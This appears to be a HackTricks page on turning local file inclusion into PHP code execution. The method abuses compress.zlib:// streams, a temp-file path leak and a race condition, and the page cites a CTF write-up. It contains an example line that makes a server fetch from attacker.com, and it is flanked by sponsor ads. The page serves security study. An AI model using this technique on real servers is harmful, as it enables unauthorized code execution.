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LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure ​

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WhiteIntel ​

WhiteIntel is a dark-web fueled search engine that offers free functionalities to check if a company or its customers have been compromised by stealer malwares.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for free at:

⛓️ External Link
https://whiteintel.io

compress.zlib:// and PHP_STREAM_PREFER_STDIO ​

A file opened using the protocol compress.zlib:// with the flag PHP_STREAM_PREFER_STDIO can continue writing data that arrives to the connection later to the same file.

This means that a call such as:

php
file_get_contents("compress.zlib://http://attacker.com/file")

Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.

You can see that info in this part of the php-src code in main/streams/cast.c:

c
/* Use a tmpfile and copy the old streams contents into it */

    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();
    } else {
        *newstream = php_stream_temp_new();
    }

Race Condition to RCE ​

This CTF was solved using the previous trick.

The attacker will make the victim server open a connection reading a file from the attackers server using the compress.zlib protocol.

While this connection exist the attacker will exfiltrate the path to the temp file created (it's leaked by the server).

While the connection is still open, the attacker will exploit a LFI loading the temp file that he controls.

However, there is a check in the web server that prevents loading files that contains <?. Therefore, the attacker will abuse a Race Condition. In the connection that is still open the attacker will send the PHP payload AFTER the webserver has checked if the file contains the forbidden characters but BEFORE it loads its content.

For more information check the description of the Race Condition and the CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel ​

WhiteIntel is a dark-web fueled search engine that offers free functionalities to check if a company or its customers have been compromised by stealer malwares.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for free at:

⛓️ External Link
https://whiteintel.io
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: